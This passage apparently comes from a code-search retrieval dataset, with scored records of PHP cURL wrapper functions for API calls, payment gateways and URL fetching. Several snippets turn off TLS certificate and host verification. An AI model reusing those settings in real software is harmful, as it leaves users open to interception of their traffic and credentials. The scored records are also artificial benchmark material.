false;\n\t\t\tLog::error($e->getMessage().PHP_EOL,[\"File\"=>__FILE__,\"Method\"=>__METHOD__]);\n\t\t}\n\n\t\tcurl_close($curl);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "a83bab5a6023795d036ffd552f260951", "score": "0.46014056", "text": "private function _api_call()\n\t{\n\t\t$this->_add_to_payload('api_token', $this->api_token);\n\t\t$this->_payload = substr($this->_payload, 0, -1);\n\t\t$this->result = FALSE;\n\t\t$options = $this->curl_options;\n\t\t$options[CURLOPT_POSTFIELDS] = $this->_payload;\n\t\t$this->_payload = '';\n\n\t\tif ( ! ini_get('safe_mode')) {\n\t\t\t$options[CURLOPT_FOLLOWLOCATION] = TRUE;\n\t\t}\n\n\t\t$options[CURLOPT_RETURNTRANSFER] = TRUE;\n\t\t\n\t\t$curl = curl_init($this->endpoint);\n\t\tcurl_setopt_array($curl, $options);\n\t\t$response = curl_exec($curl);\n\n\t\t// Get the response information\n\t\t$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);\n\n\t\tif ($code AND $code < 200 OR $code > 299) {\n\t\t\t$error = $response;\n\t\t} elseif ($response === FALSE) {\n\t\t\t$error = curl_error($curl);\n\t\t}\n\n\t\t// Close the connection\n\t\tcurl_close($curl);\n\n\t\tif (isset($error) === TRUE) {\n\t\t\t$this->errors['curl_error'] = 'Error calling FoxyCart API '\n\t\t\t\t. $this->endpoint\n\t\t\t\t. ' [status: '.$code.'] '\n\t\t\t\t. $error;\n\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t$response = simplexml_load_string($response, NULL, LIBXML_NOCDATA);\n\t\t\n\t\tif ($response !== FALSE) {\n\t\t\t$this->status\t= (string) $response->result;\n\t\t\t$this->message\t= '';\n\t\t\t\n\t\t\tforeach ($response->messages as $message) {\n\t\t\t\t$this->message .= (string) $message->message[0].' ';\n\t\t\t}\n\t\t\t\n\t\t\t$this->result = $response;\n\t\t\t\n\t\t\tif(strcasecmp('ERROR', $this->status) == 0) {\n\t\t\t\t$this->errors['foxycart_api'] = $this->message;\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\t\n\t\t\t$this->message = $this->status . ' ' . trim($this->message);\n\t\t\treturn TRUE;\n\t\t}\n\t\t\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "f03f9e2c8ddb7865578365d07c47ab31", "score": "0.46012282", "text": "private static function _curl_generic($options, $method = \"GET\")\n\t{\n\t\t$curl = self::_init_curl($options, $method); \n\t\treturn self::_run_curl($options, $curl);\n\t}", "title": "" }, { "docid": "e249210a9c2c951da2663b1c4897fa72", "score": "0.460071", "text": "function call($method, $parameters, $url) {\n ob_start();\n $curl_request = curl_init();\n curl_setopt($curl_request, CURLOPT_URL, $url);\n curl_setopt($curl_request, CURLOPT_POST, 1);\n curl_setopt($curl_request, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);\n curl_setopt($curl_request, CURLOPT_HEADER, 1);\n curl_setopt($curl_request, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($curl_request, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($curl_request, CURLOPT_FOLLOWLOCATION, 0);\n\n $jsonEncodedData = json_encode($parameters);\n\n $post = array(\n \"method\" => $method,\n \"input_type\" => \"JSON\",\n \"response_type\" => \"JSON\",\n \"rest_data\" => $jsonEncodedData\n );\n\n curl_setopt($curl_request, CURLOPT_POSTFIELDS, $post);\n $result = curl_exec($curl_request);\n curl_close($curl_request);\n\n $result = explode(\"\\r\\n\\r\\n\", $result, 2);\n $response = json_decode($result[1]);\n ob_end_flush();\n\n return $response;\n}", "title": "" }, { "docid": "6efc54154471b02d4233d8014707f126", "score": "0.45984524", "text": "public static function init(string $url = null, bool $insecureAndComfortableByDefault = false): hhb_curl {\n\t\treturn new hhb_curl ( $url, $insecureAndComfortableByDefault );\n\t}", "title": "" }, { "docid": "7273bde2efaf430e4d4de6313a1554a7", "score": "0.45963308", "text": "public function isCurlSupported()\n {\n $checking_result = function_exists('curl_init') ? true : false;\n\n return $checking_result;\n }", "title": "" }, { "docid": "69ba37d2ee54983e01de4dfe0c089dbe", "score": "0.4590988", "text": "private function setupCurl()\n {\n $this->uploadHandle = curl_init();\n $this->downloadHandle = curl_init();\n curl_setopt(\n $this->downloadHandle,\n CURLOPT_URL,\n self::SPEECH_BASE_URL . 'down?pair=' . $this->requestPair\n );\n\n curl_setopt(\n $this->downloadHandle,\n CURLOPT_RETURNTRANSFER,\n true\n );\n\n curl_setopt(\n $this->uploadHandle,\n CURLOPT_RETURNTRANSFER,\n true\n );\n\n curl_setopt(\n $this->uploadHandle,\n CURLOPT_POST,\n true\n );\n }", "title": "" }, { "docid": "e3d37b5d47a72eb1d759c9952ebeb38f", "score": "0.4589795", "text": "protected function http_command($url, $model){\n\t\t$this->db = curl_init($url);\n\t\tif($this->curl_post_arguments){\n\t\t\tcurl_setopt($this->db, CURLOPT_POST, true);\t \t\n\t \tcurl_setopt($this->db, CURLOPT_POSTFIELDS, $this->curl_post_arguments);\n\t\t}\n\t\tcurl_setopt($this->db, CURLOPT_HTTPHEADER, $this->curl_headers);\t\t\n\t curl_setopt($this->db, CURLOPT_RETURNTRANSFER, true);\n\t\tcurl_setopt($this->db, CURLOPT_FOLLOWLOCATION, 1);\n\t\t$res = false;\n\t\t$model->before_http(); //before http hook\n\t\twhile(!$res && $i < $this->max_retries){\n\t\t\t$res = $this->curl_send();\n\t\t\t$i ++;\n\t\t}\n\t\t$model->after_http($res); //after http command\n\t\treturn $res;\n\t}", "title": "" }, { "docid": "746b131ed6a7b407132553e612071d37", "score": "0.45880115", "text": "function curl_preops() {\n\n\tglobal $login, $password;\n\n\tif( $curl = curl_init() ) {\n\n\t\t// curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC ) ; \n\t\t// curl_setopt($curl, CURLOPT_USERPWD, \"$login:$password\");\n\t\tcurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n\n\t\treturn $curl;\n\t}\n\telse {\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "d0925bdb2aa060f4d6beb3254461af41", "score": "0.458143", "text": "function curl_exec($ch)\n{\n}", "title": "" }, { "docid": "12ce6474fc21a124f69f393bf8638ee4", "score": "0.45813647", "text": "private function setRequestMethod($method)\n {\n switch($method) {\n case 'HEAD':\n curl_setopt($this->request, CURLOPT_NOBODY, true);\n break;\n case 'GET':\n curl_setopt($this->request, CURLOPT_HTTPGET, true);\n break;\n case 'POST':\n curl_setopt($this->request, CURLOPT_POST, true);\n break;\n default:\n curl_setopt($this->request, CURLOPT_CUSTOMREQUEST, $method);\n }\n }", "title": "" }, { "docid": "45820a870e7591a89a08a69274f87349", "score": "0.45734593", "text": "public function testHookCancelByClient(): void\n {\n $this->assertTrue(method_exists(Crediting::class, 'hookCancelByClient'));\n }", "title": "" }, { "docid": "4e5191e3c8654cb723157e9e8bac2dc2", "score": "0.45646322", "text": "function NU__notify_idevaffiliate ($idev_directory_url, $sale_amount, $order_number, $ip_address)\r\n{\r\n $ch = curl_init();\r\n curl_setopt ($ch, CURLOPT_URL, $idev_directory_url . \"/sale.php?profile=72198&idev_saleamt=$sale_amount&idev_ordernum=$order_number&ip_address=$ip_address\");\r\n curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);\r\n $RetCode = curl_exec ($ch);\r\n curl_close ($ch);\r\n\r\n if ($RetCode)\r\n log_event (__FILE__, __LINE__, \"Successfully notified iDevAffiliate about sale\");\r\n else\r\n log_event (__FILE__, __LINE__, \"WARNING: Notifying iDevAffiliate PROBLEM: curl_exec returned FALSE\");\r\n}", "title": "" }, { "docid": "6bffcfdff29977175c2074c07be2c970", "score": "0.455648", "text": "public function disable(string $hook);", "title": "" }, { "docid": "0b5d73144afa70556e398a5464fe136e", "score": "0.45499924", "text": "private function call($url, $method, $headers, $data = array())\n {\n if ($method == 'PUT') {\n $headers[] = 'X-HTTP-Method-Override: PUT';\n }\n\n $handle = curl_init();\n curl_setopt($handle, CURLOPT_URL, $url);\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_SSL_VERIFYHOST, false);\n curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);\n\n switch($method) {\n case 'GET':\n break;\n case 'POST':\n curl_setopt($handle, CURLOPT_POST, true);\n curl_setopt($handle, CURLOPT_POSTFIELDS, http_build_query($data));\n break;\n case 'PUT':\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, 'PUT');\n curl_setopt($handle, CURLOPT_POSTFIELDS, http_build_query($data));\n break;\n case 'DELETE':\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, 'DELETE');\n break;\n }\n $response = curl_exec($handle);\n if(curl_errno($handle)) {\n return 'error:' . curl_error($handle);\n }\n return $response;\n }", "title": "" }, { "docid": "c8ef51c6f12960ff77307e89538dc861", "score": "0.45472008", "text": "function bpCurl($url, $apiKey, $post = false) {\r\n global $bpOptions;\r\n\r\n /*\r\n * Container for our curl response or any error messages to return\r\n * to the calling function.\r\n */\r\n $response = null;\r\n\r\n\r\n if ((isset($url) && trim($url) != '') && (isset($apiKey) && trim($apiKey) != '')) {\r\n\r\n try {\r\n $curl = curl_init();\r\n\r\n if (!$curl)\r\n return 'Error in bpCurl(): Could not initialize a cURL handle!';\r\n\r\n $content_length = 0;\r\n\r\n if ($post) {\r\n curl_setopt($curl, CURLOPT_POST, 1);\r\n curl_setopt($curl, CURLOPT_POSTFIELDS, $post);\r\n\r\n $content_length = strlen($post);\r\n }\r\n\r\n $uname = base64_encode($apiKey);\r\n\r\n if ($uname) {\r\n $header = array(\r\n 'Content-Type: application/json',\r\n 'Content-Length: ' . $content_length,\r\n 'Authorization: Basic ' . $uname,\r\n 'X-BitPay-Plugin-Info: phplib' . '1.9',\r\n );\r\n\r\n /*\r\n * If you are having SSL certificate errors due to an outdated CA cert on your webserver\r\n * ask your webhosting provider to update your webserver. The curl SSL checks are used\r\n * to ensure you are actually communicating with the real BitPay network.\r\n */\r\n curl_setopt($curl, CURLOPT_URL, $url);\r\n curl_setopt($curl, CURLOPT_PORT, 443);\r\n curl_setopt($curl, CURLOPT_HTTPHEADER, $header);\r\n curl_setopt($curl, CURLOPT_TIMEOUT, 10);\r\n curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\r\n curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);\r\n curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);\r\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\r\n curl_setopt($curl, CURLOPT_FORBID_REUSE, true);\r\n curl_setopt($curl, CURLOPT_FRESH_CONNECT, true);\r\n\r\n /*\r\n * Returns the error message or '' (the empty string) if no error occurred.\r\n */\r\n $responseString = curl_exec($curl);\r\n\r\n /*\r\n * For a complete list and description of all curl error codes\r\n * see: http://curl.haxx.se/libcurl/c/libcurl-errors.html\r\n */\r\n $curl_error_number = curl_errno($curl);\r\n\r\n if ($responseString === false || $curl_error_number != 0) {\r\n if(function_exists('curl_strerror'))\r\n $curl_error_description = curl_strerror($curl_error_number);\r\n \t else\r\n \t $curl_error_description = bpCurlStrerror($curl_error_number);\r\n\r\n $response = array('error' => curl_error($curl), 'error_code' => $curl_error_number, 'error_code_description' => $curl_error_description);\r\n\r\n if ($bpOptions['useLogging'])\r\n bpLog('Error in bpCurl(): ' . $response);\r\n\r\n } else {\r\n\r\n if (function_exists('json_decode'))\r\n $response = json_decode($responseString, true);\r\n else\r\n $response = bpJSONdecode($responseString);\r\n\r\n if (!$response) {\r\n $response = array('error' => 'invalid json');\r\n\r\n if ($bpOptions['useLogging'])\r\n bpLog('Error in bpCurl(): Invalid JSON.');\r\n }\r\n\r\n }\r\n\r\n curl_close($curl);\r\n\r\n return $response;\r\n\r\n } else {\r\n\r\n curl_close($curl);\r\n\r\n if ($bpOptions['useLogging'])\r\n bpLog('Error in bpCurl(): Invalid data found in apiKey value passed to bpCurl. (Failed: base64_encode(apikey))');\r\n\r\n return array('error' => 'Invalid data found in apiKey value passed to bpCurl. (Failed: base64_encode(apikey))');\r\n }\r\n\r\n } catch (Exception $e) {\r\n\r\n /*\r\n * It's possible that an error could occur before curl is initialized. In that case\r\n * it is safe to suppress the warning message from calling curl_close without an\r\n * initialized curl session.\r\n */\r\n @curl_close($curl);\r\n\r\n if ($bpOptions['useLogging'])\r\n bpLog('Error in bpCurl(): ' . $e->getMessage());\r\n\r\n return array('error' => $e->getMessage());\r\n }\r\n\r\n } else {\r\n\r\n /*\r\n * Invalid URL or API Key parameter specified\r\n */\r\n if ($bpOptions['useLogging'])\r\n bpLog('Error in bpCurl(): You must supply non-empty url and apiKey parameters.');\r\n\r\n return array('error' => 'You must supply non-empty url and apiKey parameters to bpCurl().');\r\n }\r\n\r\n}", "title": "" }, { "docid": "4cf52806a04fcc12acbcca706443f0ba", "score": "0.4544554", "text": "function curlRequest($url, $curl_handle, $fail_on_error = false)\n{\n global $curl_requests;\n\n if ($curl_handle === false) {\n return false;\n }\n\n if ($fail_on_error === true) {\n curl_setopt($curl_handle, CURLOPT_FAILONERROR, true);\n }\n\n curl_setopt($curl_handle, CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($curl_handle, CURLOPT_USERAGENT, 'Bitcoin Node Status Page');\n curl_setopt($curl_handle, CURLOPT_URL, $url);\n\n $curl_requests++;\n return curl_exec($curl_handle);\n}", "title": "" }, { "docid": "10c188094145275a6e287c94926f5037", "score": "0.45418593", "text": "private static function _curl_init($uri)\n {\n $ch = curl_init($uri);\n // Booleans\n curl_setopt($ch, CURLOPT_AUTOREFERER, true);\n curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\n curl_setopt($ch, CURLOPT_COOKIESESSION, false);\n curl_setopt($ch, CURLOPT_CRLF, false);\n curl_setopt($ch, CURLOPT_FAILONERROR, false);\n curl_setopt($ch, CURLOPT_FILETIME, true);\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);\n curl_setopt($ch, CURLOPT_FORBID_REUSE, true);\n curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);\n curl_setopt($ch, CURLOPT_HEADER, false);\n curl_setopt($ch, CURLOPT_NETRC, false);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($ch, CURLOPT_VERBOSE, true);\n\n curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);\n curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);\n curl_setopt($ch, CURLOPT_MAXREDIRS, 0);\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\n // curl_setopt(self::$_ch, CURLOPT_SSLVERSION, 3); // 2, 3 or GnuTLS\n curl_setopt($ch, CURLOPT_TIMEOUT, 0);\n curl_setopt($ch, CURLOPT_USERAGENT, self::UA);\n\n // curl_setopt(self::$_ch, CURLOPT_HEADERFUNCTION, array('self','_curl_head'));\n\n return $ch;\n }", "title": "" }, { "docid": "42284244d73f097da67c8ab8edd3093e", "score": "0.45392492", "text": "function callAPI($baseURL, $params, $httpMethod = 'GET', $auth = false){\nglobal $ch;\n\t\nif($httpMethod == 'GET'){\n\t$url = URL($baseURL, $params);\n}\n\nelse if($httpMethod == 'POST'){\n\t$url = $baseURL;\n\tcurl_setopt($ch, CURLOPT_POST, 1);\n\tcurl_setopt($ch, CURLOPT_POSTFIELDS, $params);\n\t$params = array();\n}\n\nelse\n\texit('Invalid Http Method: Must be GET or POST');\n\nif($auth){\n\t$authHead = authHead($baseURL, $params, $httpMethod);\t\n\tcurl_setopt($ch, CURLOPT_HTTPHEADER, $authHead);\n}\n\n\ncurl_setopt($ch, CURLOPT_URL, $url);\n\n\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\n$response = curl_exec($ch);\n$output = json_decode($response, true);\nreturn $output; \n}", "title": "" }, { "docid": "5791f57412e38bca098d683c75fb4f04", "score": "0.45178875", "text": "function request($method, $url, $data = array()) {\n $this->error = '';\n $this->errno = '';\n $this->errorinfo = '';\n $this->request = curl_init();\n $this->set_request_method($method,$url,$data);\n $this->set_request_headers();\n $response = curl_exec($this->request);\n $this->http_code = curl_getinfo($this->request, CURLINFO_HTTP_CODE);\n $this->error = curl_error($this->request);\n $this->errno = curl_errno($this->request);\n $this->errorinfo = curl_getinfo($this->request);\n curl_close($this->request);\n return $response;\n }", "title": "" }, { "docid": "a3262620fcab2442c3efa1bad6bd7489", "score": "0.45165512", "text": "private function fetchURL($url, $method = 'curl')\n\t{\n\t\tswitch ($method)\n\t\t{\n\t\t\tcase 'curl':\n\t\t\t\t$ch = curl_init($url);\n\t\t\t\t$cacertPath = JPATH_ADMINISTRATOR . '/components/com_akeeba/akeeba/Engine/cacert.pem';\n\t\t\t\tif (file_exists($cacertPath))\n\t\t\t\t{\n\t\t\t\t\t@curl_setopt($ch, CURLOPT_CAINFO, $cacertPath);\n\t\t\t\t}\n\t\t\t\t@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\n\t\t\t\t@curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);\n\t\t\t\t@curl_setopt($ch, CURLOPT_HEADER, false);\n\t\t\t\t@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\t\t\t@curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $this->verifySSL);\n\t\t\t\t@curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, $this->verifySSL ? 2 : 0);\n\t\t\t\t@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 180);\n\t\t\t\t@curl_setopt($ch, CURLOPT_TIMEOUT, 180);\n\t\t\t\t$result = curl_exec($ch);\n\t\t\t\tcurl_close($ch);\n\n\t\t\t\treturn $result;\n\t\t\t\tbreak;\n\n\t\t\tcase 'fsockopen':\n\t\t\t\t$pos = strpos($url, '://');\n\t\t\t\t$protocol = strtolower(substr($url, 0, $pos));\n\t\t\t\t$req = substr($url, $pos + 3);\n\t\t\t\t$pos = strpos($req, '/');\n\t\t\t\tif ($pos === false)\n\t\t\t\t{\n\t\t\t\t\t$pos = strlen($req);\n\t\t\t\t}\n\t\t\t\t$host = substr($req, 0, $pos);\n\n\t\t\t\tif (strpos($host, ':') !== false)\n\t\t\t\t{\n\t\t\t\t\tlist($host, $port) = explode(':', $host);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$host = $host;\n\t\t\t\t\t$port = ($protocol == 'https') ? 443 : 80;\n\t\t\t\t}\n\n\t\t\t\t$uri = substr($req, $pos);\n\t\t\t\tif ($uri == '')\n\t\t\t\t{\n\t\t\t\t\t$uri = '/';\n\t\t\t\t}\n\n\t\t\t\t$crlf = \"\\r\\n\";\n\t\t\t\t$req = 'GET ' . $uri . ' HTTP/1.0' . $crlf\n\t\t\t\t\t. 'Host: ' . $host . $crlf\n\t\t\t\t\t. $crlf;\n\n\t\t\t\t$fp = fsockopen(($protocol == 'https' ? 'ssl://' : '') . $host, $port);\n\t\t\t\tfwrite($fp, $req);\n\t\t\t\t$response = '';\n\t\t\t\twhile (is_resource($fp) && $fp && !feof($fp))\n\t\t\t\t{\n\t\t\t\t\t$response .= fread($fp, 1024);\n\t\t\t\t}\n\t\t\t\tfclose($fp);\n\n\t\t\t\t// split header and body\n\t\t\t\t$pos = strpos($response, $crlf . $crlf);\n\t\t\t\tif ($pos === false)\n\t\t\t\t{\n\t\t\t\t\treturn ($response);\n\t\t\t\t}\n\t\t\t\t$header = substr($response, 0, $pos);\n\t\t\t\t$body = substr($response, $pos + 2 * strlen($crlf));\n\n\t\t\t\t// parse headers\n\t\t\t\t$headers = array();\n\t\t\t\t$lines = explode($crlf, $header);\n\t\t\t\tforeach ($lines as $line)\n\t\t\t\t{\n\t\t\t\t\tif (($pos = strpos($line, ':')) !== false)\n\t\t\t\t\t{\n\t\t\t\t\t\t$headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos + 1));\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t//redirection?\n\t\t\t\tif (isset($headers['location']))\n\t\t\t\t{\n\t\t\t\t\treturn $this->fetchURL($headers['location'], $method);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn ($body);\n\t\t\t\t}\n\n\t\t\t\tbreak;\n\n\t\t\tcase 'fopen':\n\t\t\t\t$opts = array(\n\t\t\t\t\t'http' => array(\n\t\t\t\t\t\t'method' => \"GET\",\n\t\t\t\t\t\t'header' => \"Accept-language: en\\r\\n\"\n\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t$context = stream_context_create($opts);\n\t\t\t\t$result = @file_get_contents($url, false, $context);\n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "c34d5892dff153591b54edbb293b9bb4", "score": "0.451609", "text": "public function doCurl($url,$login=false)\r\n\t{\r\n\t\r\n\t\t$myRequest=curl_init($url);\r\n\t\t$myRequest=$this->setCurlOptions($myRequest);\r\n\t\t/*if($login)\r\n\t\t\t{\r\n\t\t\tcurl_setopt($myRequest,CURLOPT_POST,TRUE);\r\n\t\t\tcurl_setopt($myRequest,CURLOPT_POSTFIELDS,$this->postfields);\r\n\t\t\t}*/\r\n\t\t$response=curl_exec($myRequest);\r\n\t\t$info = curl_getinfo($myRequest);\r\n\t\tcurl_close($myRequest);\r\n\t\treturn $response;\r\n\t}", "title": "" }, { "docid": "8d735eb4eefa1741fdff22f7ac0f01a6", "score": "0.45137376", "text": "private function setupDefaultCurlOptions() {\n global $db_prefix;\n\n /* This part here is to make us compatible with the way that\n * simpletest detects if a request comes from a running unit\n * test. If this is not setup, we will get values from the\n * host site instead of the test site. */\n $user_agent = '';\n if (preg_match('/simpletest\\d+/', $db_prefix, $matches)) {\n $user_agent = drupal_generate_test_ua($matches[0]);\n } else {\n $user_agent = \"TZMobile/1.1\";\n }\n\n $curl_opts = array(\n CURLOPT_USERAGENT => $user_agent,\n CURLOPT_COOKIEFILE => $this->cookiejar,\n CURLOPT_COOKIEJAR => $this->cookiejar,\n CURLOPT_RETURNTRANSFER => TRUE,\n CURLOPT_BINARYTRANSFER => TRUE,\n CURLOPT_FAILONERROR => TRUE,\n CURLOPT_FOLLOWLOCATION => TRUE,\n CURLOPT_SSL_VERIFYPEER => FALSE, // Turn of SSL verification since intellitime uses a non-standard CA\n CURLOPT_SSL_VERIFYHOST => 2,\n CURLOPT_TIMEOUT => 30,\n CURLOPT_CONNECTTIMEOUT => 20,\n CURLOPT_HTTPHEADER => array('Accept-Language: sv-SE'),\n );\n\n curl_setopt_array($this->handle, $curl_opts);\n }", "title": "" }, { "docid": "43f76bacbae5e667504edb06d56d88a9", "score": "0.4511052", "text": "function xu_rpc_http_curl_compat($txtMethod, $arrayArgs, $txtHost, \r\n $txtURI='/', $intPort=80, \r\n $boolDebug=false, $boolSecure=false,\r\n $objOutput) {\r\n if ($objOutput) {\r\n $objOutput = array(version => 'xmlrpc');\r\n }\r\n\r\n $txtTransport = $boolSecure ? 'https://' : 'http://';\r\n\r\n $txtURL = \"$txtTransport$txtHost:$intPort$txtURI\";\r\n\r\n return xu_rpc_http_curl( $txtMethod, $arrayArgs, $txtURL,\r\n $boolSecure, $boolDebug, $objOutput);\r\n}", "title": "" }, { "docid": "74a7bc987865b4483708736f2cb764b1", "score": "0.45100272", "text": "final private function call($url,$data=array(),$type='') {\n\n\t\t$ch = curl_init();\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\tcurl_setopt($ch, CURLOPT_USERAGENT, \"Checkfront PHP/SDK {$this->sdk_version} ({$this->app_id})\");\n\t\tcurl_setopt($ch, CURLOPT_HEADER, 0);\n\n\t\t// set custom headers\n\t\t$headers = array('Accept: application/json');\n\n\t\tif($this->client_ip) {\n\t\t\t$headers[] = \"X-Forwarded-For: {$this->client_ip}\";\n\t\t} else {\n\t\t\t$headers[] = \"X-Forwarded-For: {$_SERVER['REMOTE_ADDR']}\";\n\t\t}\n\n\t\tif($this->account_id) {\n\t\t\t$headers[] = \"X-On-Behalf: {$this->account_id}\";\n\t\t}\n\n\t\tif($this->auth_type == 'token') {\n\t\t\tcurl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n\t\t\tcurl_setopt($ch, CURLOPT_USERPWD, $this->api_key . ':' . $this->api_secret);\n\t\t} else {\n\t\t\tif($this->access_token) {\n\t\t\t\t$headers[] = \"Authorization: BEARER {$this->access_token}\";\n\t\t\t}\n\t\t}\n\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\n\n\t\t// pass session id\n\t\t// @see session_create()\n\t\tif($this->session_id) {\n\t\t\tcurl_setopt($ch, CURLOPT_COOKIESESSION, true);\n\t\t\tcurl_setopt($ch, CURLOPT_COOKIE, \"session_id={$this->session_id}\");\n\t\t}\n\n\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\tcurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, $this->api_timeout);\n\n\t\tif($data) {\n\t\t\tcurl_setopt($ch, CURLOPT_POST, true);\n\t\t\tif(is_array($data)) {\n\t\t\t\t// needs to encode to support assocative arrays\n\t\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));\n\t\t\t} else {\n\t\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, $data);\n\t\t\t}\n\t\t} else {\n\t\t\tcurl_setopt($ch, CURLOPT_HTTPGET, true);\n\t\t}\n\n\t\t/**\n\t\t * If you get the error \"SSL certificate problem: unable to get local issuer certificate\",\n\t\t * download the following file to this directory and uncomment the option below:\n\t\t * http://curl.haxx.se/ca/cacert.pem\n\t\t */\n\t\t//curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__) . '/cacert.pem');\n\n\t\tif($response = curl_exec($ch)) {\n\t\t\t$response = json_decode($response,true);\n\t\t\tif($error = json_last_error()) {\n\t\t\t\t$this->error = array('json'=>$error);\n\t\t\t} else {\n\t\t\t\treturn $response;\n\t\t\t}\n\t\t} else {\n\t\t\t$this->error = array('curl'=>curl_error($ch));\n\t\t}\n\t}", "title": "" }, { "docid": "4b59715cf8df8e761dbd91f09ec1d058", "score": "0.45028615", "text": "private function restartCurl() {\r\n $this->closeCurl();\r\n $this->initCurl();\r\n }", "title": "" }, { "docid": "5b4d3175ccbaf05f4606acf2f8ed4979", "score": "0.4502235", "text": "private function makeCurl($url,$is_post = false,$data=null)\r\n {\r\n $curl = curl_init();\r\n curl_setopt($curl, CURLOPT_USERAGENT, 'GoodreadsOAuth v0.2.0-beta2');\r\n curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);\r\n curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);\r\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);\r\n\r\n if (!empty($data) && $is_post == true)\r\n {\r\n curl_setopt($curl, CURLOPT_POST, TRUE);\r\n curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\r\n }\r\n\r\n curl_setopt($curl, CURLOPT_URL, $url);\r\n $this->result = curl_exec($curl);\r\n $this->return_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);\r\n curl_close($curl);\r\n\r\n return $this->result;\r\n }", "title": "" }, { "docid": "c92c224ada23bf3db55c9e881fbdc770", "score": "0.45000157", "text": "function CURL_POST($service_url) {\n\n $curl = curl_init($service_url, $curl_post_data = array());\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($curl, CURLOPT_POST, true);\n curl_setopt($curl, CURLOPT_POSTFIELDS, $curl_post_data);\n $curl_response = curl_exec($curl);\n if ($curl_response === false) {\n $info = curl_getinfo($curl);\n curl_close($curl);\n die('error occured during curl exec. Additioanl info: ' . var_export($info));\n }\n curl_close($curl);\n $decoded = json_decode($curl_response);\n if (isset($decoded->response->status) && $decoded->response->status == 'ERROR') {\n die('error occured: ' . $decoded->response->errormessage);\n }\n return $decoded->response;\n }", "title": "" }, { "docid": "19d9013350df382bb3cba8d17f8c9b00", "score": "0.44974196", "text": "protected function setCurlOptions()\n {\n $this->setCurlSessionOptionsFromConfiguration();\n curl_setopt_array($this->curlSession, $this->curlOptions);\n }", "title": "" }, { "docid": "1213af3f20aa4aa60205190681ab67fe", "score": "0.44897258", "text": "function call(iApiMethod $method);", "title": "" }, { "docid": "bd4e75db3a5d1e7a5bc8cf1e79020bf5", "score": "0.4486076", "text": "public function testCurl()\n {\n try {\n $logCurl = $this->client->getContainer()->get('g4_logging_timeline_couch_curl');\n } catch (\\Symfony\\Component\\DependencyInjection\\Exception\\ServiceNotFoundException $e) {\n echo 'Skip Test, Timeline couch not used: config_couch.yml is not imported. '.$e->getMessage();\n $this->markTestSkipped();\n }\n\n echo \"Curl: \";\n $t1 = microtime(true);\n $logCurl->writeLog(self::$jsonData, true);\n $t2 = microtime(true);\n $logCurl->writeLog(self::$jsonData);\n $t3 = microtime(true);\n echo sprintf(\"%.04f\", $t2-$t1) . \" | \" . sprintf(\"%.04f\", $t3-$t2) . \"\\n\";\n }", "title": "" }, { "docid": "d3083abbc8e82575d04de2edf9d92e00", "score": "0.448503", "text": "public function curl($is_distribution = FALSE) {\n $ch = curl_init();\n\n curl_setopt_array($ch, array(\n CURLOPT_URL => 